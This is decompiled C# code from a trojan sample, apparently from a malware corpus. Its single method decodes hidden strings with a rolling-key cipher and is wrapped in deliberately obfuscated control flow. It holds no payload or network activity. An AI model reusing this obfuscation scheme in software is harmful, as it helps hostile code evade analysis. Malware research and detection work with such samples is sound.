// Decompiled with JetBrains decompiler // Type: xb9d8bb5e6df032aa.x1110bdd110cdcea4 // Assembly: WindowsApplication5, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 5A2C317D-8013-4261-BC81-62C2E42A4E7A // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.caxv-037e8f435263ae1d8009e3584275584533ef8a2bb31df5ce7ececd944ca636e5.exe namespace xb9d8bb5e6df032aa { public class x1110bdd110cdcea4 { public static string _d574bb1a8f3e9cbc(string x5e99b576d2530d13, int x2710752c36f2d14b) { ushort num1 = (ushort) x2710752c36f2d14b; char[] chArray; if ((x2710752c36f2d14b & 0) == 0) { label_8: chArray = new char[x5e99b576d2530d13.Length / 4]; label_2: int index = 0; bool flag = (uint) index + (uint) num1 > uint.MaxValue; ushort num2; if (!flag || ((int) num2 | -1) != 0) goto label_10; label_3: if (!flag) { if ((index & 0) == 0) goto label_10; } else goto label_8; label_5: if ((uint) num2 - (uint) num2 >= 0U) goto label_15; label_6: if ((uint) x2710752c36f2d14b + (uint) x2710752c36f2d14b >= 0U) { flag = (uint) x2710752c36f2d14b - (uint) x2710752c36f2d14b > uint.MaxValue; goto label_3; } else goto label_16; label_10: if (index < x5e99b576d2530d13.Length / 4) { if ((index | 4) != 0) { do { num2 = (ushort) ((uint) (ushort) ((int) x5e99b576d2530d13[4 * index] - 97 + ((int) x5e99b576d2530d13[4 * index + 1] - 97 << 4) + ((int) x5e99b576d2530d13[4 * index + 2] - 97 << 8) + ((int) x5e99b576d2530d13[4 * index + 3] - 97 << 12)) - (uint) num1); chArray[index] = (char) num2; num1 += (ushort) 1789; ++index; } while ((uint) flag + (uint) num2 > uint.MaxValue); goto label_6; } } else goto label_13; label_12: if ((uint) num1 + (uint) flag >= 0U && !flag) { if ((uint) flag <= uint.MaxValue) goto label_5; else goto label_2; } else goto label_8; label_13: if (true) { flag = ((int) num2 | 15) == 0; goto label_12; } } label_15: string str = new string(chArray); label_16: return str; } } }